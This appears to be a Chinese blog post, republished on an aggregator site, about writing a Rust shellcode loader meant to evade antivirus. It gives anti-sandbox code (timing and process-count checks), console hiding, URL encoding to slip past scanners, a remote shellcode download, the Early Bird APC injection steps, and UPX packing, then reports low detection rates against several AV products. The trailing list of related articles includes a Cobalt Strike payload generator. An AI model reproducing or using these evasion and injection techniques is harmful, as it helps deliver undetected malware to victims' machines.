RustLoader

学习rust, 练习写一个loader, 不足之处还请指教

编写

隐藏黑框

在注释掉所有打印语句后编译运行还是会弹黑框, 解决方法是头部添加一行(指定 Rust 编译器生成的可执行文件为 Windows 子系统应用程序,而不是控制台应用程序):

#![windows_subsystem = "windows"]

反沙箱

流速检测

pub fn ft() {use std::time::{Duration, Instant};use std::thread::sleep;let start_time = Instant::now();sleep(Duration::from_millis(5000));let elapsed_time = start_time.elapsed();if elapsed_time.as_millis() < 5000 {std::process::exit(1);}
}

检查进程数

pub fn pc() {let mut system = System::new_all();system.refresh_all();let process_count = system.processes().len();if process_count <= 50 {std::process::exit(1);}
}

网络请求

使用轻量级的HTTP库ureq​, 示例如下:

use ureq;fn main() {let response = ureq::get("https://example.com/file.zip").call().expect("Failed to make request");if response.status() == 200 {let content = response.into_string().expect("Failed to read response");println!("Downloaded file: {}", content);} else {eprintln!("Failed to download file, status code: {}", response.status());}
}

不要直接硬编码url在代码中,然后就用管用伎俩简单编码一下,但是一整个解码使用居然不成, 问gpt说可能产生了不可见字符

image

拆成protocol,host, port, pattern后解码组合就可以正常读取了, DIE中也没有检出(这个patcher还是要处理一下)

image

加载shellcode

这里我没有对shellcode进行任何处理, 获取之后直接使用Early Bird​进行注入, 简述一下过程:

  1. 使用 CreateProcessA​ 创建一个进程。
  2. 使用 VirtualAllocEx​ 在目标进程中分配远程内存。
  3. 使用 WriteProcessMemory​ 将 SHELLCODE 复制到已分配的内存中。
  4. 使用 VirtualProtectEx​ 更改内存权限为可执行。
  5. 使用 QueueUserAPC​ 执行进程。
  6. 使用 ResumeThread​ 恢复进程的线程。
  7. 使用 CloseHandle​ 关闭已打开的句柄。

对于错误处理一律退出不使用panic, 可以在代码中细看。

编译优化

为了缩小体积, 在_config.yml​中添加

[profile.release]
# 设置为1个块最大化优化,但时间会更长
codegen-units = 1
# 设置为s时,编译器会优先考虑生成最小的二进制文件大小,同时保持合理的性能
opt-level = "s"
# 链接时优化,可以显著减小二进制文件的大小,并提高性能
lto = true
# 禁止符号表和调试
debug = false
# 剥离调试信息
strip = true
# 崩溃时不希望看到调试信息
panic = "abort"

另外使用压缩库miniz_oxide​,添加上依赖:

[dependencies]
miniz_oxide = "0.5"

最后使用release 通用发布:

cargo build --release

使用cargo-strip​在构建后剥离二进制文件中的调试信息和其他不必要的数据。

cargo install cargo-strip
cargo strip -t target/release/RustLoader.exe

此时大小基本为1.5MB, 也可以继续upx压缩(patcher要注意处理一下), 之后按需加资源

upx -9 --best --force target/release/RustLoader.exe

免杀效果

添加反沙箱后, 无法在虚拟机中测试, 以下测试均使用直接生成的产物(不使用upx, upx-patcher, 反沙箱), 截止测试之时:

微步检出率为1/28

image

火绒

image

腾讯电脑管家

image

360

image

defender

image

如果觉得可以欢迎star一起交流~ : 传送门

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/863935.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

机房轶事_2

机房轶事_2 之前 机房某同学的Luogu账号被另一个同学破解了密码,并且把头像改成了遗照(配花环)。 更过分的是,他居然将封面改成了教练的照片。

20241403《计算机基础与程序设计》课程总结

20241403《计算机基础与程序设计》课程总结 每周作业链接汇总 第一周作业: 【内容概要】课程概论第二周作业: 【内容概要】①数字化 ②信息安全 ③自学教材第三周作业: 【内容概要】①掌握门和电路 ②学习计算机部件 ③了解冯诺依曼体系结构 ④学习C语言基础知识,第四周作业…

AutoGeaconC2:一款一键读取Profile自动化生成geacon实现跨平台上线CobaltStrike

CobaltStrike是渗透测试中常用的一款基于C2框架的攻击工具。生成Windows payload也很方便。 但在CobaltStrike中如何上线Linux设备呢❓ AutoGeaconC2是一款一键读取Profile自动化生成geacon实现跨平台上线CobaltStrike。目前仅支持Linux amd64上线。 使用 首先下载releases中的…

Nginx-克隆备份虚拟机

克隆备份虚拟机 选中要备份的虚拟机 - 管理 - 克隆 开机状态下 没有办法克隆关机 init 0下一页克隆当前状态选择 创建链接克隆克隆名称 位置完成克隆

activiti6.0.0 二次开发兼容达梦数据库(亲测有效)

一、 前因 最近公司做数据库国产化,数据从MySql数据库中迁移到达梦(DM8),在迁移过程中,当迁移工作流(Activiti6.0.0)时,提换达梦(DM8)数据库驱动后启动过程报错: Caused by: org.activiti.engine.ActivitiException: couldnt deduct database type from database pr…

MYSQL中Join的用法.240430

1、笛卡尔积(没有加筛选条件的内连接) 两表关联,把左表的列和右表的列通过笛卡尔积的形式表达出来。 mysql> select * from t1 join t2;或者 mysql> select * from t1 inner join t2;或者 mysql> select * from t1, t2;2、左连接 两表关联,左表全部保留,右表关联不…

idea左上角project一片绿的解决方法.240712

idea突然project底色一片绿,真的心里慌得一批。。解决方法: 打开File-Settings,按图示找到地方,关闭FileColor,即可。.zstitle { width: 280px; text-align: center; font-size: 26px } .zsimgweixin { width: 280px } .zsimgali { width: 280px; padding: 0px 0px 50px 0…

PCS7 笔记

400H和410H400H系统属于老版本CPU,在售的越来愈少。410H作为400H的替代和更新产品出现。冗余机制同步周期同步 事件同步:在西门子400H/410H cpu中,两个CPU内部的数据,必须保持高度统一,属于西门子冗余PLC的专利,西门子冗余均为事件同步。在西门子400H/410H冗余PLC中,不推…

2024-2025-1 20241411王思棋《计算机基础与程序设计》课程总结

每周作业链接汇总 第一周作业:基于VirtualBox安装Ubuntu,从而安装Linux系统。快速浏览一遍教材计算机科学概论(第七版),课本每章提出至少一个自己不懂的或最想解决的问题并在期末回答这些问题第二周作业:数字化、信息安全第三周作业:数字分类与计数法、位置计数法、进制…

Verilog2_硬件描述语言

Verilog内容总结2_硬件描述语言一、硬件描述语言概述 1.主要的硬件描述语言VHDL(VHSIC HDL): 天然支持并发描述,允许在同一个文件中定义多个并发执行的进程;可读性和可维护性较好,适合于大型项目和团队合作;支持用户定义的数据类型;可以使用抽象类型为系统建模 Verilog…

Nginx-CentOS设置网卡配置固定IP地址

一、未设置网卡前 唔怕ping通网络二、ip addr 查看网络配置 ip addr三、修改 ifcfg-ens33 配置文件 vi /etc/sysconfig/network-scripts/ifcfg-ens33 四、ONBOOT = no 改为 yes (启动操作系统后一并启动网卡)五、重启网卡 systemctl restart network 此时再去ping qq.com的话…